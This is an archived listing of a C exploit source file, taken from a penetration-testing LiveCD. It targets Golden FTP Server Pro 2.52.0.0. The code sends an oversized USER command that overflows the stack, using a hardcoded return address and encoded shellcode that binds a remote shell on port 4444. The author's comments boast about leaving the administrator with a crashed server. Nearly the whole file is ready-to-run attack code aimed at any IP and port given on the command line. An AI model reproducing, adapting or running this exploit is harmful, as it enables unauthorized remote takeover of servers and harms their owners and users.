home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / goldenftp / goldmine.c < prev   
C/C++ Source or Header  |  2005-05-06  |  4KB  |  104 lines

  1. /*
  2. \ golden ftp 2.52.0.0 remote r00t exploit
  3. /
  4. \ remote r00t exploit binds 4444 port on remote machine.
  5. / tested on: winxp sp0 rus
  6. \
  7. / simple stack overflow in golden ftpd.
  8. \ if retaddr isn't right, ftpd will crash, and admin will be in big shit
  9. / 'coz ftpd won't start later ;)
  10. \
  11. / code to be executed, admin must restart or shutdown ftpd... then ftpd will execute eviLDuDe'Z c0de )
  12. \
  13. / gr33tz: choix, nekd0, xtix, crash-x, coki, rave, antiq, xoce, shi, 'em, lp, spekterX, edisan, c0wboy
  14. \ ilja, esDee, blackhatz.inf0, sk3w
  15. / p.s }:+ EvILduDe
  16. \ (c) uKt research '04/'05
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <winsock.h>
  23. #include <windows.h>
  24.  
  25. #define RETADDR 0x77F510B0
  26.  
  27. char shellcode[]= // binds 4444 port
  28. "\xd9\xEE\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xb1\xbe"
  29. "\x94\x1d\x83\xeb\xfc\xe2\xf4\x4d\x56\xc2\x1d\xb1\xbe\xc7\x48\xe7"
  30. "\xe9\x1f\x71\x95\xa6\x1f\x58\x8d\x35\xc0\x18\xc9\xbf\x7e\x96\xfb"
  31. "\xa6\x1f\x47\x91\xbf\x7f\xfe\x83\xf7\x1f\x29\x3a\xbf\x7a\x2c\x4e"
  32. "\x42\xa5\xdd\x1d\x86\x74\x69\xb6\x7f\x5b\x10\xb0\x79\x7f\xef\x8a"
  33. "\xc2\xb0\x09\xc4\x5f\x1f\x47\x95\xbf\x7f\x7b\x3a\xb2\xdf\x96\xeb"
  34. "\xa2\x95\xf6\x3a\xba\x1f\x1c\x59\x55\x96\x2c\x71\xe1\xca\x40\xea"
  35. "\x7c\x9c\x1d\xef\xd4\xa4\x44\xd5\x35\x8d\x96\xea\xb2\x1f\x46\xad"
  36. "\x35\x8f\x96\xea\xb6\xc7\x75\x3f\xf0\x9a\xf1\x4e\x68\x1d\xda\x30"
  37. "\x52\x94\x1c\xb1\xbe\xc3\x4b\xe2\x37\x71\xf5\x96\xbe\x94\x1d\x21"
  38. "\xbf\x94\x1d\x07\xa7\x8c\xfa\x15\xa7\xe4\xf4\x54\xf7\x12\x54\x15"
  39. "\xa4\xe4\xda\x15\x13\xba\xf4\x68\xb7\x61\xb0\x7a\x53\x68\x26\xe6"
  40. "\xed\xa6\x42\x82\x8c\x94\x46\x3c\xf5\xb4\x4c\x4e\x69\x1d\xc2\x38"
  41. "\x7d\x19\x68\xa5\xd4\x93\x44\xe0\xed\x6b\x29\x3e\x41\xc1\x19\xe8"
  42. "\x37\x90\x93\x53\x4c\xbf\x3a\xe5\x41\xa3\xe2\xe4\x8e\xa5\xdd\xe1"
  43. "\xee\xc4\x4d\xf1\xee\xd4\x4d\x4e\xeb\xb8\x94\x76\x8f\x4f\x4e\xe2"
  44. "\xd6\x96\x1d\xa0\xe2\x1d\xfd\xdb\xae\xc4\x4a\x4e\xeb\xb0\x4e\xe6"
  45. "\x41\xc1\x35\xe2\xea\xc3\xe2\xe4\x9e\x1d\xda\xd9\xfd\xd9\x59\xb1"
  46. "\x37\x77\x9a\x4b\x8f\x54\x90\xcd\x9a\x38\x77\xa4\xe7\x67\xb6\x36"
  47. "\x44\x17\xf1\xe5\x78\xd0\x39\xa1\xfa\xf2\xda\xf5\x9a\xa8\x1c\xb0"
  48. "\x37\xe8\x39\xf9\x37\xe8\x39\xfd\x37\xe8\x39\xe1\x33\xd0\x39\xa1"
  49. "\xea\xc4\x4c\xe0\xef\xd5\x4c\xf8\xef\xc5\x4e\xe0\x41\xe1\x1d\xd9"
  50. "\xcc\x6a\xae\xa7\x41\xc1\x19\x4e\x6e\x1d\xfb\x4e\xcb\x94\x75\x1c"
  51. "\x67\x91\xd3\x4e\xeb\x90\x94\x72\xd4\x6b\xe2\x87\x41\x47\xe2\xc4"
  52. "\xbe\xfc\xed\x3b\xba\xcb\xe2\xe4\xba\xa5\xc6\xe2\x41\x44\x1d";
  53.  
  54. int main ( int argc, char *argv[] )
  55. {
  56. WSADATA wsa;
  57. SOCKET sock;
  58. char data[6667], evil[7776];
  59. struct sockaddr_in addr;
  60.  
  61. printf("\n\n >> Golden FTP Server Pro 2.52.0.0 Remote Root Exploit <<\n :: by darkeagle [unl0ck] ::\n 
  62. >> http://unl0ck.org <<\n\n");
  63.  
  64. WSAStartup(MAKEWORD(2,0), &wsa);
  65.  
  66. if ( argc < 3 )
  67. {
  68. printf(" >usage: %s <ip> <port>\n\n", argv[0]);
  69. exit(0);
  70. }
  71.  
  72. printf(" [*] ip: %s, port: %d\n", argv[1], atoi(argv[2]));
  73.  
  74. addr.sin_family = AF_INET;
  75. addr.sin_port = htons(atoi(argv[2]));
  76. addr.sin_addr.s_addr = inet_addr(argv[1]);
  77.  
  78. sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  79.  
  80. memset(data, 0x00, sizeof(data));
  81. memset(evil, 0x00, sizeof(evil));
  82. memset(data, 0x55, 372);
  83.  
  84. *(long*)&data[332] = RETADDR;
  85. memcpy(data, &shellcode, sizeof(shellcode));
  86.  
  87. printf(" [`] connecting...\n");
  88.  
  89. if ( connect(sock, (struct sockaddr*)&addr, sizeof(addr)) > 0 ) { printf(" [+] connected\n"); } else { exit(0); }
  90.  
  91. sprintf(evil, "USER %s\r\nPASS\r\n", data);
  92.  
  93. Sleep(1000);
  94. send(sock, evil, strlen(evil), 1);
  95.  
  96. printf(" [+] send. w8ing while ftpd will reboot...\n\n");
  97.  
  98. closesocket(sock);
  99. WSACleanup();
  100.  
  101. return 0;
  102.  
  103. }
  104.